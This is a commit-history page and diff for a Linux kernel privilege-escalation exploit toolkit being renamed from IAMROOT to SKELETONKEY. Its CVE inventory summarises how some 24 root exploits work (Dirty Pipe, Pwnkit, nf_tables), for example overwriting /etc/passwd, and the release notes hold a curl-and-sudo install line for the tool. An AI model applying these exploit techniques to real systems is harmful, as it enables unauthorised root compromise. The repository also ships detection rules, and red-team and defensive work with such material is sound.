5 Commits

Author SHA1 Message Date
leviathan 347a9af832 banner: give the bit actual teeth
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions
Previous staircase pattern was just trailing decoration — not real
key teeth. Redesigned the bit as a hanging rectangle with two
clearly-projecting notch-teeth on its right edge (the part that
engages a lock's wards). Switched to box-drawing chars for the bit
since they make sharper notches than 8/b/d glyphs; bow stays
ornate-ASCII style.

Bump 0.4.3 → 0.4.4.
2026-05-16 23:04:14 -04:00
leviathan 023289a03a banner: artwork is the focal point — plain SKELETONKEY text below
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions
Previous banner had a SKELETONKEY block-letter art that competed
with the skeleton-key drawing for visual attention. Simplified:
the key art is now the focal point, and SKELETONKEY is rendered
as plain spaced text below the drawing.

Slight refinement to the key art: bow is a bit larger (888 instead
of 88) to feel more substantial. Bit/teeth pattern unchanged.

Bump 0.4.2 → 0.4.3.
2026-05-16 23:01:14 -04:00
leviathan e7ced5db7c banner: more detailed ornate skeleton key
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions
The v0.4.1 box-drawing key was minimalist — round bow, line shaft,
small bit. Replaced with a more detailed ornate skeleton-key
silhouette in the classic ASCII-art-of-keys tradition:

  - Round bow with internal "hole" rendered via stylized 8/b/d/'
    pattern (suggests the decorative loop you'd grip)
  - Long shaft running right across the banner
  - Bit at the end with a staircase notch pattern (the iconic
    "key-tooth" descent showing the wards that engage the lock)

Same height as the previous banner. SKELETONKEY block letters
below unchanged.

Bump 0.4.1 → 0.4.2.
2026-05-16 22:57:01 -04:00
leviathan b5188b7818 banner: redesign skeleton key ASCII art
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions
Replace the previous "circle + shaft + curl" silhouette (which read
more like a magnifying glass) with a proper skeleton-key anatomy:

  - BOW: round decorative loop with center hole (the part you hold)
  - SHAFT: long horizontal rod (= the body of the key)
  - BIT: notched tooth hanging down from the shaft end (the part
    that engages the lock — the iconic key-tooth profile)

Same change in skeletonkey.c BANNER and README.md.

Bump 0.4.0 → 0.4.1.
2026-05-16 22:52:13 -04:00
leviathan 9593d90385 rename: IAMROOT → SKELETONKEY across the entire project
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions
Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.

Changes:
  - All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
    values, docs, comments)
  - All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
  - iamroot.c → skeletonkey.c
  - modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
  - tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
  - Binary "iamroot" → "skeletonkey"
  - GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
  - .gitignore now expects build output named "skeletonkey"
  - /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
  - Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*

New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.

VERSION: 0.3.1 → 0.4.0 (breaking).

Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
2026-05-16 22:43:49 -04:00
109 changed files with 1722 additions and 1702 deletions
+9 -9
View File
@@ -37,22 +37,22 @@ jobs:
make
fi
- name: sanity — iamroot --version
run: ./iamroot --version
- name: sanity — skeletonkey --version
run: ./skeletonkey --version
- name: sanity — iamroot --list
run: ./iamroot --list
- name: sanity — skeletonkey --list
run: ./skeletonkey --list
- name: sanity — iamroot --scan (no exploit; just detect)
run: ./iamroot --scan --no-color || true
- name: sanity — skeletonkey --scan (no exploit; just detect)
run: ./skeletonkey --scan --no-color || true
# exit code may be nonzero (vulnerable host = exit 2, missing
# precond = exit 4) — that's diagnostic data, not CI failure
- name: sanity — --detect-rules auditd
run: ./iamroot --detect-rules --format=auditd | head -50
run: ./skeletonkey --detect-rules --format=auditd | head -50
- name: sanity — --detect-rules sigma
run: ./iamroot --detect-rules --format=sigma | head -50
run: ./skeletonkey --detect-rules --format=sigma | head -50
# Static build job: ensures the project links cleanly when -static is
# requested. Useful for deployment to minimal containers / fleet scans
@@ -75,7 +75,7 @@ jobs:
# gate the merge on it. Migrate to musl-gcc when we want a
# truly portable static binary.
continue-on-error: true
run: make static && ls -la iamroot
run: make static && ls -la skeletonkey
# Phase 4 followup (placeholder): kernel-VM matrix. Each entry runs
# the binary against a VM running a specific (vulnerable or patched)
+18 -18
View File
@@ -7,7 +7,7 @@ name: release
# Maintainer flow:
# git tag v0.1.0
# git push origin v0.1.0
# → CI builds + publishes release with iamroot-x86_64 + iamroot-arm64
# → CI builds + publishes release with skeletonkey-x86_64 + skeletonkey-arm64
on:
push:
@@ -44,20 +44,20 @@ jobs:
CC: ${{ matrix.cc }}
run: |
make
file iamroot
ls -la iamroot
file skeletonkey
ls -la skeletonkey
- name: rename + checksum
run: |
mv iamroot iamroot-${{ matrix.target }}
sha256sum iamroot-${{ matrix.target }} > iamroot-${{ matrix.target }}.sha256
mv skeletonkey skeletonkey-${{ matrix.target }}
sha256sum skeletonkey-${{ matrix.target }} > skeletonkey-${{ matrix.target }}.sha256
- uses: actions/upload-artifact@v4
with:
name: iamroot-${{ matrix.target }}
name: skeletonkey-${{ matrix.target }}
path: |
iamroot-${{ matrix.target }}
iamroot-${{ matrix.target }}.sha256
skeletonkey-${{ matrix.target }}
skeletonkey-${{ matrix.target }}.sha256
release:
needs: build
@@ -72,7 +72,7 @@ jobs:
- name: flatten artifacts
run: |
find dist -type f -exec mv {} . \;
ls -la iamroot-*
ls -la skeletonkey-*
- name: collect release notes
id: notes
@@ -81,16 +81,16 @@ jobs:
echo "tag=$tag" >> "$GITHUB_OUTPUT"
# Pull the latest entry from CVES.md / ROADMAP.md for the body
{
echo "## IAMROOT $tag"
echo "## SKELETONKEY $tag"
echo
echo "Pre-built binaries for x86_64 and arm64. Checksums alongside."
echo
echo "### Install"
echo
echo '```bash'
echo "curl -sSLfo /tmp/iamroot https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/iamroot-\$(uname -m | sed s/aarch64/arm64/)"
echo "chmod +x /tmp/iamroot && sudo mv /tmp/iamroot /usr/local/bin/iamroot"
echo "iamroot --version"
echo "curl -sSLfo /tmp/skeletonkey https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/skeletonkey-\$(uname -m | sed s/aarch64/arm64/)"
echo "chmod +x /tmp/skeletonkey && sudo mv /tmp/skeletonkey /usr/local/bin/skeletonkey"
echo "skeletonkey --version"
echo '```'
echo
echo "Or one-shot via the install script:"
@@ -109,12 +109,12 @@ jobs:
uses: softprops/action-gh-release@v2
with:
tag_name: ${{ steps.notes.outputs.tag }}
name: IAMROOT ${{ steps.notes.outputs.tag }}
name: SKELETONKEY ${{ steps.notes.outputs.tag }}
body_path: release-notes.md
files: |
iamroot-x86_64
iamroot-x86_64.sha256
iamroot-arm64
iamroot-arm64.sha256
skeletonkey-x86_64
skeletonkey-x86_64.sha256
skeletonkey-arm64
skeletonkey-arm64.sha256
install.sh
fail_on_unmatched_files: false # install.sh may not exist at first tag
+1 -1
View File
@@ -5,7 +5,7 @@ build/
*.dSYM/
modules/*/build/
modules/*/dirtyfail
modules/*/iamroot
modules/*/skeletonkey
.vscode/
.idea/
*.swp
+8 -8
View File
@@ -1,6 +1,6 @@
# CVE inventory
The curated list of CVEs IAMROOT exploits, with patch status and
The curated list of CVEs SKELETONKEY exploits, with patch status and
module status. Updated as new modules land or as upstream patches
ship.
@@ -26,13 +26,13 @@ Status legend:
**Counts (v0.3.1):** 🟢 13 · 🟡 11 (all `--full-chain` capable) · 🔵 0 · ⚪ 1 · 🔴 0
Every module ships a `NOTICE.md` crediting the original CVE
reporter and PoC author. `iamroot --dump-offsets` populates the
reporter and PoC author. `skeletonkey --dump-offsets` populates the
embedded offset table for new kernel builds — operators with
root on a host can upstream their kernel's offsets via PR.
## Inventory
| CVE | Name | Class | First patched | IAMROOT module | Status | Notes |
| CVE | Name | Class | First patched | SKELETONKEY module | Status | Notes |
|---|---|---|---|---|---|---|
| CVE-2026-31431 | Copy Fail (algif_aead `authencesn` page-cache write) | LPE (page-cache write → /etc/passwd) | mainline 2026-04-22 | `copy_fail` | 🟢 | Verified on Ubuntu 26.04, Alma 9, Debian 13. Full AppArmor bypass. |
| CVE-2026-43284 (v4) | Dirty Frag — IPv4 xfrm-ESP page-cache write | LPE (same primitive shape as Copy Fail, different trigger) | mainline 2026-05-XX | `dirty_frag_esp` | 🟢 | Full PoC + active-probe scan |
@@ -40,9 +40,9 @@ root on a host can upstream their kernel's offsets via PR.
| CVE-2026-43500 | Dirty Frag — RxRPC page-cache write | LPE | mainline 2026-05-XX | `dirty_frag_rxrpc` | 🟢 | |
| (variant, no CVE) | Copy Fail GCM variant — xfrm-ESP `rfc4106(gcm(aes))` page-cache write | LPE | n/a | `copy_fail_gcm` | 🟢 | Sibling primitive, same fix |
| CVE-2022-0847 | Dirty Pipe — pipe `PIPE_BUF_FLAG_CAN_MERGE` write | LPE (arbitrary file write into page cache) | mainline 5.17 (2022-02-23) | `dirty_pipe` | 🟢 | Full detect + exploit + cleanup. Detect: branch-backport ranges + **active sentinel probe** (`--active` fires the primitive against a /tmp probe file and verifies the page cache poisoning lands — catches silent distro backports the version check misses). Exploit: page-cache write into /etc/passwd UID field followed by `su` to drop a root shell. Auto-refuses on patched kernels. Cleanup: drop_caches + POSIX_FADV_DONTNEED. |
| CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `entrybleed` | 🟢 | Stage-1 leak brick. Working on lts-6.12.86 (verified 2026-05-16 via `iamroot --exploit entrybleed --i-know`). Default `entry_SYSCALL_64` slot offset matches lts-6.12.x; override via `IAMROOT_ENTRYBLEED_OFFSET=0x...`. Other modules can call `entrybleed_leak_kbase_lib()` as a library. x86_64 only. |
| CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `entrybleed` | 🟢 | Stage-1 leak brick. Working on lts-6.12.86 (verified 2026-05-16 via `skeletonkey --exploit entrybleed --i-know`). Default `entry_SYSCALL_64` slot offset matches lts-6.12.x; override via `SKELETONKEY_ENTRYBLEED_OFFSET=0x...`. Other modules can call `entrybleed_leak_kbase_lib()` as a library. x86_64 only. |
| CVE-2026-31402 | NFS replay-cache heap overflow | LPE (NFS server) | mainline 2026-04-03 | — | ⚪ | Candidate. Different audience (NFS servers) — TBD whether in-scope. |
| CVE-2021-4034 | Pwnkit — pkexec argv[0]=NULL → env-injection | LPE (userspace setuid binary) | polkit 0.121 (2022-01-25) | `pwnkit` | 🟢 | Full detect + exploit (canonical Qualys-style: gconv-modules + execve NULL-argv). Detect handles both polkit version formats (legacy "0.105" + modern "126"). Exploit compiles payload via target's gcc → falls back gracefully if no cc available. Cleanup nukes /tmp/iamroot-pwnkit-* workdirs. **First userspace LPE in IAMROOT**. Ships auditd + sigma rules. |
| CVE-2021-4034 | Pwnkit — pkexec argv[0]=NULL → env-injection | LPE (userspace setuid binary) | polkit 0.121 (2022-01-25) | `pwnkit` | 🟢 | Full detect + exploit (canonical Qualys-style: gconv-modules + execve NULL-argv). Detect handles both polkit version formats (legacy "0.105" + modern "126"). Exploit compiles payload via target's gcc → falls back gracefully if no cc available. Cleanup nukes /tmp/skeletonkey-pwnkit-* workdirs. **First userspace LPE in SKELETONKEY**. Ships auditd + sigma rules. |
| CVE-2024-1086 | nf_tables — `nft_verdict_init` cross-cache UAF | LPE (kernel arbitrary R/W via slab UAF) | mainline 6.8-rc1 (Jan 2024) | `nf_tables` | 🟡 | Hand-rolled nfnetlink batch builder (no libmnl dep) constructs the NFT_GOTO+NFT_DROP malformed verdict in a pipapo set, fires the double-free, sprays msg_msg in kmalloc-cg-96 and snapshots slabinfo. Stops before the Notselwyn pipapo R/W dance (per-kernel offsets refused). Branch-backport thresholds: 6.7.2 / 6.6.13 / 6.1.74 / 5.15.149 / 5.10.210 / 5.4.269. Also gates on unprivileged user_ns clone availability. |
| CVE-2021-3493 | Ubuntu overlayfs userns file-capability injection | LPE (host root via file caps in userns-mounted overlayfs) | Ubuntu USN-4915-1 (Apr 2021) | `overlayfs` | 🟢 | Full vsh-style exploit (userns+overlayfs mount + xattr file-cap injection + exec). **Ubuntu-specific** (vanilla upstream didn't enable userns-overlayfs-mount until 5.11). Detect parses /etc/os-release for ID=ubuntu, checks unprivileged_userns_clone sysctl, and with `--active` attempts the mount as a fork-isolated probe. Ships auditd rules covering mount(overlay) + setxattr(security.capability). |
| CVE-2022-2588 | net/sched cls_route4 handle-zero dead UAF | LPE (kernel UAF in cls_route4 filter remove) | mainline 5.20 / 5.19.7 (Aug 2022) | `cls_route4` | 🟡 | Userns+netns reach, tc/ip dummy interface + route4 dangling-filter add/del, msg_msg kmalloc-1k spray, UDP classify drive to follow the dangling pointer, slabinfo delta witness. Stops at empirical UAF-fired signal; no leak→cred overwrite (per-kernel offsets refused). Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. |
@@ -51,10 +51,10 @@ root on a host can upstream their kernel's offsets via PR.
| CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. |
| CVE-2023-0386 | overlayfs `copy_up` preserves setuid bit across mount-ns boundary | LPE (host root via setuid carrier from unprivileged mount) | mainline 5.11 / 6.2-rc6 (Jan 2023) | `overlayfs_setuid` | 🟢 | Distro-agnostic — places a setuid binary in an overlay lower, mounts via fuse-overlayfs userns trick, executes from upper to inherit the setuid bit + root euid. Branch backports tracked for 5.10.169 / 5.15.92 / 6.1.11 / 6.2.x. |
| CVE-2021-22555 | iptables xt_compat heap-OOB → cross-cache UAF | LPE (kernel R/W via 4-byte heap OOB write + msg_msg/sk_buff groom) | mainline 5.12 / 5.11.10 (Apr 2021) | `netfilter_xtcompat` | 🟡 | Hand-rolled `ipt_replace` blob + setsockopt(IPT_SO_SET_REPLACE) fires the 4-byte OOB, msg_msg spray in kmalloc-2k + sk_buff sidecar, MSG_COPY scan for cross-cache landing + slabinfo delta. Stops before the leak → modprobe_path overwrite chain (per-kernel offsets refused). Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 / 4.9.266 / 4.4.266. **Bug existed since 2.6.19 (2006).** Andy Nguyen's PGZ disclosure. |
| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `IAMROOT_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `SKELETONKEY_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
| CVE-2022-0185 | legacy_parse_param fsconfig heap OOB → container-escape | LPE (cross-cache UAF → cred overwrite from rootless container) | mainline 5.16.2 (Jan 2022) | `fuse_legacy` | 🟡 | userns+mountns reach, fsopen("cgroup2") + double fsconfig SET_STRING fires the 4k OOB, msg_msg cross-cache groom in kmalloc-4k, MSG_COPY read-back detects whether the OOB landed in an adjacent neighbour. Stops before the m_ts overflow → MSG_COPY arbitrary read chain (scaffold present, no per-kernel offsets). **Container-escape angle** — relevant to rootless docker/podman/snap. Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171. |
| CVE-2023-3269 | StackRot — maple-tree VMA-split UAF | LPE (kernel R/W via maple node use-after-RCU) | mainline 6.4-rc4 (Jul 2023) | `stackrot` | 🟡 | Two-thread race driver (MAP_GROWSDOWN + mremap rotation vs fork+fault) with cpu pinning + 3 s budget; kmalloc-192 spray for anon_vma/anon_vma_chain; race-iteration + signal breadcrumb. Honest reliability note in module header: **~<1% race-win/run on a vulnerable kernel** — the public PoC averages minutes-to-hours and needs a much wider VMA staging matrix to be reliable. Useful as a "is the maple-tree path reachable here?" probe. Branch backports: 6.4.4 / 6.3.13 / 6.1.37. |
| CVE-2020-14386 | AF_PACKET tpacket_rcv VLAN integer underflow | LPE (heap OOB write via crafted frame) | mainline 5.9 (Sep 2020) | `af_packet2` | 🟡 | Sibling of CVE-2017-7308; tp_reserve underflow + sendmmsg skb spray + slab-delta witness. PRIMITIVE-DEMO scope (no cred overwrite). Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235. Or Cohen's disclosure. Shares `iamroot-af-packet` audit key with CVE-2017-7308. |
| CVE-2020-14386 | AF_PACKET tpacket_rcv VLAN integer underflow | LPE (heap OOB write via crafted frame) | mainline 5.9 (Sep 2020) | `af_packet2` | 🟡 | Sibling of CVE-2017-7308; tp_reserve underflow + sendmmsg skb spray + slab-delta witness. PRIMITIVE-DEMO scope (no cred overwrite). Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235. Or Cohen's disclosure. Shares `skeletonkey-af-packet` audit key with CVE-2017-7308. |
| CVE-2023-32233 | nf_tables anonymous-set UAF | LPE (kernel UAF in nft_set transaction) | mainline 6.4-rc4 (May 2023) | `nft_set_uaf` | 🟡 | Sondej+Krysiuk. Hand-rolled nfnetlink batch (NEWTABLE → NEWCHAIN → NEWSET(ANON\|EVAL) → NEWRULE(lookup) → DELSET → DELRULE) drives the deactivation skip; cg-512 msg_msg cross-cache spray. Branch backports: 4.19.283 / 5.4.243 / 5.10.180 / 5.15.111 / 6.1.28 / 6.2.15 / 6.3.2. --full-chain forges freed-set with `set->data = kaddr`. |
| CVE-2023-4622 | AF_UNIX garbage-collector race UAF | LPE (slab UAF, plain unprivileged) | mainline 6.6-rc1 (Aug 2023) | `af_unix_gc` | 🟡 | Lin Ma. Two-thread race driver: SCM_RIGHTS cycle vs unix_gc trigger; kmalloc-512 (SLAB_TYPESAFE_BY_RCU) refill via msg_msg. **Widest deployment of any module — bug exists since 2.x.** No userns required. Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51 / 6.5.0. |
| CVE-2022-25636 | nft_fwd_dup_netdev_offload heap OOB | LPE (kernel R/W via offload action[] OOB) | mainline 5.17 / 5.16.11 (Feb 2022) | `nft_fwd_dup` | 🟡 | Aaron Adams (NCC). NFT_CHAIN_HW_OFFLOAD chain + 16 immediates + fwd writes past action.entries[1]. msg_msg kmalloc-512 spray. Branch backports: 5.4.181 / 5.10.102 / 5.15.25 / 5.16.11. |
@@ -113,7 +113,7 @@ the relevant distro drops out of the "WORKING" list for that module.
## Why we exclude some things
- **0-days the maintainer found themselves**: those go through
responsible disclosure first, then enter IAMROOT after upstream patch
responsible disclosure first, then enter SKELETONKEY after upstream patch
- **kCTF VRP submissions in flight**: same as above; disclosure
before bundling
- **Hardware-specific side channels** (Spectre/Meltdown variants):
+29 -29
View File
@@ -1,15 +1,15 @@
# IAMROOT — top-level Makefile (Phase 1)
# SKELETONKEY — top-level Makefile (Phase 1)
#
# Builds one binary `iamroot` linked from:
# Builds one binary `skeletonkey` linked from:
# - core/ module interface + registry
# - modules/<f>/ one family per subdir, contributes objects to the
# final binary
# - iamroot.c top-level dispatcher
# - skeletonkey.c top-level dispatcher
#
# Each family is currently flat (Phase 1 keeps copy_fail_family's
# absorbed DIRTYFAIL source in modules/copy_fail_family/src/).
# Future families register the same way: add their register_* call to
# iamroot.c's main() and add their src dir to MODULE_DIRS below.
# skeletonkey.c's main() and add their src dir to MODULE_DIRS below.
CC ?= gcc
CFLAGS ?= -O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith \
@@ -17,117 +17,117 @@ CFLAGS ?= -O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith \
LDFLAGS ?=
BUILD := build
BIN := iamroot
BIN := skeletonkey
# core/
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c
CORE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CORE_SRCS))
# Family: copy_fail_family
# All DIRTYFAIL .c files contribute; iamroot_modules.c is the bridge.
# All DIRTYFAIL .c files contribute; skeletonkey_modules.c is the bridge.
CFF_DIR := modules/copy_fail_family
CFF_SRCS := $(wildcard $(CFF_DIR)/src/*.c) $(CFF_DIR)/iamroot_modules.c
# Filter out the original dirtyfail.c (its main() conflicts with iamroot.c's main).
CFF_SRCS := $(wildcard $(CFF_DIR)/src/*.c) $(CFF_DIR)/skeletonkey_modules.c
# Filter out the original dirtyfail.c (its main() conflicts with skeletonkey.c's main).
CFF_SRCS := $(filter-out $(CFF_DIR)/src/dirtyfail.c, $(CFF_SRCS))
CFF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CFF_SRCS))
# Family: dirty_pipe (single-CVE family, no shared infrastructure)
DP_DIR := modules/dirty_pipe_cve_2022_0847
DP_SRCS := $(DP_DIR)/iamroot_modules.c
DP_SRCS := $(DP_DIR)/skeletonkey_modules.c
DP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DP_SRCS))
# Family: entrybleed (single-CVE family, x86_64 only)
EB_DIR := modules/entrybleed_cve_2023_0458
EB_SRCS := $(EB_DIR)/iamroot_modules.c
EB_SRCS := $(EB_DIR)/skeletonkey_modules.c
EB_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(EB_SRCS))
# Family: pwnkit (userspace polkit bug, not kernel)
PK_DIR := modules/pwnkit_cve_2021_4034
PK_SRCS := $(PK_DIR)/iamroot_modules.c
PK_SRCS := $(PK_DIR)/skeletonkey_modules.c
PK_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PK_SRCS))
# Family: nf_tables (CVE-2024-1086)
NFT_DIR := modules/nf_tables_cve_2024_1086
NFT_SRCS := $(NFT_DIR)/iamroot_modules.c
NFT_SRCS := $(NFT_DIR)/skeletonkey_modules.c
NFT_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFT_SRCS))
# Family: overlayfs (CVE-2021-3493)
OVL_DIR := modules/overlayfs_cve_2021_3493
OVL_SRCS := $(OVL_DIR)/iamroot_modules.c
OVL_SRCS := $(OVL_DIR)/skeletonkey_modules.c
OVL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OVL_SRCS))
# Family: cls_route4 (CVE-2022-2588)
CR4_DIR := modules/cls_route4_cve_2022_2588
CR4_SRCS := $(CR4_DIR)/iamroot_modules.c
CR4_SRCS := $(CR4_DIR)/skeletonkey_modules.c
CR4_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CR4_SRCS))
# Family: dirty_cow (CVE-2016-5195) — requires -pthread
DCOW_DIR := modules/dirty_cow_cve_2016_5195
DCOW_SRCS := $(DCOW_DIR)/iamroot_modules.c
DCOW_SRCS := $(DCOW_DIR)/skeletonkey_modules.c
DCOW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DCOW_SRCS))
# Family: ptrace_traceme (CVE-2019-13272)
PTM_DIR := modules/ptrace_traceme_cve_2019_13272
PTM_SRCS := $(PTM_DIR)/iamroot_modules.c
PTM_SRCS := $(PTM_DIR)/skeletonkey_modules.c
PTM_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PTM_SRCS))
# Family: netfilter_xtcompat (CVE-2021-22555)
NXC_DIR := modules/netfilter_xtcompat_cve_2021_22555
NXC_SRCS := $(NXC_DIR)/iamroot_modules.c
NXC_SRCS := $(NXC_DIR)/skeletonkey_modules.c
NXC_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NXC_SRCS))
# Family: af_packet (CVE-2017-7308)
AFP_DIR := modules/af_packet_cve_2017_7308
AFP_SRCS := $(AFP_DIR)/iamroot_modules.c
AFP_SRCS := $(AFP_DIR)/skeletonkey_modules.c
AFP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP_SRCS))
# Family: fuse_legacy (CVE-2022-0185)
FUL_DIR := modules/fuse_legacy_cve_2022_0185
FUL_SRCS := $(FUL_DIR)/iamroot_modules.c
FUL_SRCS := $(FUL_DIR)/skeletonkey_modules.c
FUL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FUL_SRCS))
# Family: stackrot (CVE-2023-3269)
STR_DIR := modules/stackrot_cve_2023_3269
STR_SRCS := $(STR_DIR)/iamroot_modules.c
STR_SRCS := $(STR_DIR)/skeletonkey_modules.c
STR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(STR_SRCS))
# Family: af_packet2 (CVE-2020-14386) — same family as af_packet
AFP2_DIR := modules/af_packet2_cve_2020_14386
AFP2_SRCS := $(AFP2_DIR)/iamroot_modules.c
AFP2_SRCS := $(AFP2_DIR)/skeletonkey_modules.c
AFP2_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP2_SRCS))
# Family: cgroup_release_agent (CVE-2022-0492)
CRA_DIR := modules/cgroup_release_agent_cve_2022_0492
CRA_SRCS := $(CRA_DIR)/iamroot_modules.c
CRA_SRCS := $(CRA_DIR)/skeletonkey_modules.c
CRA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CRA_SRCS))
# Family: overlayfs_setuid (CVE-2023-0386) — joins overlayfs family
OSU_DIR := modules/overlayfs_setuid_cve_2023_0386
OSU_SRCS := $(OSU_DIR)/iamroot_modules.c
OSU_SRCS := $(OSU_DIR)/skeletonkey_modules.c
OSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OSU_SRCS))
# Family: nft_set_uaf (CVE-2023-32233)
NSU_DIR := modules/nft_set_uaf_cve_2023_32233
NSU_SRCS := $(NSU_DIR)/iamroot_modules.c
NSU_SRCS := $(NSU_DIR)/skeletonkey_modules.c
NSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NSU_SRCS))
# Family: af_unix_gc (CVE-2023-4622)
AUG_DIR := modules/af_unix_gc_cve_2023_4622
AUG_SRCS := $(AUG_DIR)/iamroot_modules.c
AUG_SRCS := $(AUG_DIR)/skeletonkey_modules.c
AUG_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AUG_SRCS))
# Family: nft_fwd_dup (CVE-2022-25636)
NFD_DIR := modules/nft_fwd_dup_cve_2022_25636
NFD_SRCS := $(NFD_DIR)/iamroot_modules.c
NFD_SRCS := $(NFD_DIR)/skeletonkey_modules.c
NFD_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFD_SRCS))
# Family: nft_payload (CVE-2023-0179)
NPL_DIR := modules/nft_payload_cve_2023_0179
NPL_SRCS := $(NPL_DIR)/iamroot_modules.c
NPL_SRCS := $(NPL_DIR)/skeletonkey_modules.c
NPL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NPL_SRCS))
# Top-level dispatcher
TOP_OBJ := $(BUILD)/iamroot.o
TOP_OBJ := $(BUILD)/skeletonkey.o
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS)
@@ -154,7 +154,7 @@ clean:
help:
@echo "Targets:"
@echo " make build optimized iamroot binary"
@echo " make build optimized skeletonkey binary"
@echo " make debug build with -O0 -g3"
@echo " make static build a fully static binary"
@echo " make clean remove build artifacts"
+40 -30
View File
@@ -1,4 +1,4 @@
# IAMROOT
# SKELETONKEY
> A curated, actively-maintained corpus of Linux kernel LPE exploits —
> bundled with their detection signatures, patch status, and version
@@ -7,15 +7,25 @@
> vulnerable to, and — with explicit confirmation — gets you root.
```
██╗ █████╗ ███╗ ███╗██████╗ ██████╗ ██████╗ ████████╗
██║██╔══██╗████╗ ████║██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝
██║███████║██╔████╔██║██████╔╝██║ ██║██║ ██║ ██║
██║██╔══██║██║╚██╔╝██║██╔══██╗██║ ██║██║ ██║ ██║
██║██║ ██║██║ ╚═╝ ██║██║ ██║╚██████╔╝╚██████╔╝ ██
╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝
,d8888b,
d88' `88b
d88' ,db, `88b
888 d8''8b 888===========================================╗
